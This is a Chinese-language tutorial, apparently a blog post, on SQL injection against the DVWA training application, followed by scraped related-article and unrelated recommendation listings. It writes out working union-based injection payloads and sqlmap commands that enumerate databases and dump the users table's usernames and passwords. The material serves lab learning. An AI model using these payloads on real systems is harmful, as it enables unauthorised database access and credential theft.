一.SQL注入简介

1.1 SQL语句就是操作数据库的语句,SQL注入就是通过web程序在数据库里执行任意SQL语句。

SQL 注入是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问和修改数据,或者利用潜在的数据库漏洞进行攻击。

1.2 SQL注入漏洞威胁

(1).猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。

(2).绕过认证,列如绕过验证登录网站后台。

(3).注入可以借助数据库的存储过程进行提权等操作。

1.3 基础知识

1.3.1 服务器将提交的参数拼接到要执行的SQL语句中。

一般首先找到有数据库交互的功能页面(例如:?参数=)

正常的SQL语句:select name from tablename where name=’admin’ and passwd=’xxxxxxxxxxxxx’

1.3.2 常用函数:version()  user()  database()

1.3.3 where 语句

... where user_id = 1 or 1 = 1   数字型

... where user_id = ‘1’ or ‘1’ = ‘1’   字符型

... where user_id = “1” or “1” = “1”

1.3.4 三种MySQL注释符

(1) #(忽略),# 后面的数据会被忽略掉;单行注释,注意与url中#区分,常编码成%23

(2)-- (忽略),和#类似;注意是:短线短线空格

(3)/*(忽略)*/,多行注释;至少有两处输入;/**/注入中常用来作为空格

二.SQL回显注入(数据库的执行结果直接显示在页面上)

等级 :LOW

1.手工注入

(1)我们可以通过以下步骤判断这里是否存在注入点

输入”1”提交

输入“1’”提交 ,会报错

知道这个表单存在注入漏洞

猜测一下这个SQL语句长啥样?

Select firstname,sunname from xxx(表)

Select firstname,sunname from xxx where userid=我们输入的id

(2) 确定查询字段数/测试查询信息列数

1’ order by 1--

1’ order by 10--

(3) 确定回显点

(4) 查数据库名,数据库版本,用户名

' union select version(),database()--

' union select database(),user()--

爆库名   union select 1,schema_name from information_schema.schemata

(5) 查数据表名

' union select 1,table_name from information_schema.tables where table_schema='dvwa'--

(6) 查列/字段名

' union select 1,column_name from information_schema.columns where table_name='users'--

(7) 查看字段中的信息

' union select user,password from users--

  1. 自动注入(sqlmap)

(1)登录状态 --cookie

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6"

发现有基于布尔类型的SQL盲注;基于错误回显的SQL注入;基于时间延迟的SQL盲注。

(2) 获取数据库和用户名信息

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" --current-user --current-db

(3) 查询数据库中表的信息

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa --tables

(4) 查询表中字段的信息

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa -T users --column

(5) 查字段信息用户名和密码

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low;PHPSESSID=tf2n9lhql5b6851obdb397qqg6" -D dvwa -T users -C"user,password" --dump

等级:Medium

  1. 自动注入(sqlmap)

Post提供数据使用--data

(1) 查看是否有注入点

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium;PHPSESSID=vq40mm0taa1ajcj1mumriq9026"

发现有基于布尔类型的SQL盲注;基于错误回显的SQL注入;基于时间延迟的SQL盲注。

(2) 查看数据库和用户名信息

下面步骤与low等级相同操作

等级:high

  1. 手工注入

与low等级相同

  1. 自动注入(sqlmap)

注入的点和返回的点不在同一个页面

--second-url:指定返回的页面

(1)查询注入点

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/"

(3) 有哪些数据库

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" --dbs

(4) 有哪些表

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -D "dvwa" --tables

(5) 有哪些字段

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -D "dvwa" -T "users" --columns

(6) 字段信息

sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/session-input.php" --data "id=1&Submit=Submit" -p"id" --cookie "security=high;PHPSESSID=gmqcl8sttj793s22huio5u1hr3" --second-url "http://127.0.0.1/DVWA/vulnerabilities/sqli/" -D "dvwa" -T "users" -C"user,password" --dump

DVWA中SQL回显注入的更多相关文章

  1. sql回显注入(满满的干货)

    三种注入poc where user_id = 1 or 1=1 where user_id = '1' or '1'='1' where user_id =" 1 "or &qu ...

  2. sql回显注入-笔记

     拼接sql命令查询数据   注释 常用于sql注入            # 井号 单行注释 注意:URL编码 %23          -- 两个减号加空格 单行注释           /*   ...

  3. 捅伊朗黑客PP — 后台登陆POST+错误回显 注入

    看了一个泰国政府的网站被伊朗的黑客挂页,上面写着“Your Box 0wn3z By Behrooz_Ice – Q7x -Sha2ow -Virangar -Ali_Eagle -iman_takt ...

  4. EasyUI在window中使用kindeditor 4.1.10在IE9中不能回显、获得焦点编辑的问题

    描述 :kindeditor4.1.10版本是当前最新的版本,在浏览器兼容性和功能方面都是值得一赞的,在开发中能方便快捷的满足一些开发需求. 问题 :  问题总是有的.  在使用过程中,遇到EasyU ...

  5. 巧用DNSlog实现无回显注入

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入.具体原理如下 ...

  6. 巧用DNSlog实现无回显注入【转载】

    原作者:afanti 原出处:https://www.cnblogs.com/afanti/p/8047530.html 0x00 简介 测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行 ...

  7. 利用DNSLog实现无回显注入

    测试一些网站的时候,一些注入都是无回显的,我们可以写脚本来进行盲注,但有些网站会ban掉我们的ip,这样我们可以通过设置ip代理池解决, 但是盲注往往效率很低,所以产生了DNSlog注入 DNSLOG ...

  8. SpringMVC【参数绑定、数据回显、文件上传】

    前言 本文主要讲解的知识点如下: 参数绑定 数据回显 文件上传 参数绑定 我们在Controller使用方法参数接收值,就是把web端的值给接收到Controller中处理,这个过程就叫做参数绑定.. ...

  9. select初始化添加option,通过标签给出回显值,由于回显值和初始化值option中有一个值重复,去重等问题!

    第一张图片: 第二张图片 /** *该方法是为了去重,所谓去重就是 因为回显给select附上了值并设置为selected选中状态,而在我们初始化所有的select添加option元素中于回显的值重复 ...

随机推荐

  1. java:工具类

    Google guava工具类的介绍和使用:https://blog.csdn.net/wwwdc1012/article/details/82228458 Apache Commons 工具类介绍及 ...

  2. YUV数据详解

    http://www.cnblogs.com/azraelly/archive/2013/01/01/2841269.html YUV格式有两大类:planar和packed.对于planar的YUV ...

  3. php之Apache压力测试

    1,测试本机是否已经安装好Apache ①进入自己的Apache目录下面的bin目录,然后执行ab -V.如果返回Apache版本则表示已经装好 2,执行压力测试命令,ab -n 1000(请求总数) ...

  4. SpringMvc-reset风格

    reset风格就是不用加?或者&等等符号直接通过地址栏向后台发送数据的方法 rest风格是实现 1.需要在web.xml中配置一个filter <filter> <filte ...

  5. xtrabackup 备份恢复

    XtraBackup物理备份 Percona XtraBackup是世界上唯一的开源,免费的MySQL热备份软件,为InnoDB和XtraDB 数据库执行非阻塞备份.使用Percona XtraBac ...

  6. 推箱子Unity

    逻辑首先有控制台写了一下. 需要注意的地方不少: 进一步,需要考虑3个层面的问题. 前面的位置是空地,成功点,墙,还是箱子. 前面是箱子的时候,箱子的前面是空地,墙,成功点,还是箱子. 当移动的时候, ...

  7. [USACO17FEB]Why Did the Cow Cross the Road III G

    嘟嘟嘟 首先看到这种序列的问题,我就想到了逆序对,然后就想如何把这道题转化. 首先要满足这个条件:ai <bi.那么我们把所有数按第一次出现的顺序重新赋值,那么对于新的数列,一定满足了ai &l ...

  8. HDU 5723 Abandoned country 【最小生成树&&树上两点期望】

    任意门:http://acm.hdu.edu.cn/showproblem.php?pid=5723 Abandoned country Time Limit: 8000/4000 MS (Java/ ...

  9. HDU 1754 I Hate It 【线段树单点修改 维护区间最大值】

    题目传送门:http://acm.hdu.edu.cn/showproblem.php?pid=1754 I Hate It Time Limit: 9000/3000 MS (Java/Others ...

  10. Python使用dict和set

    dict Python内置了字典:dict的支持,dict全称dictionary,在其他语言中也成为map,使用键-值(key-value)存储,具有极快的查找速度. 假设要根据同学的名字查找对应的 ...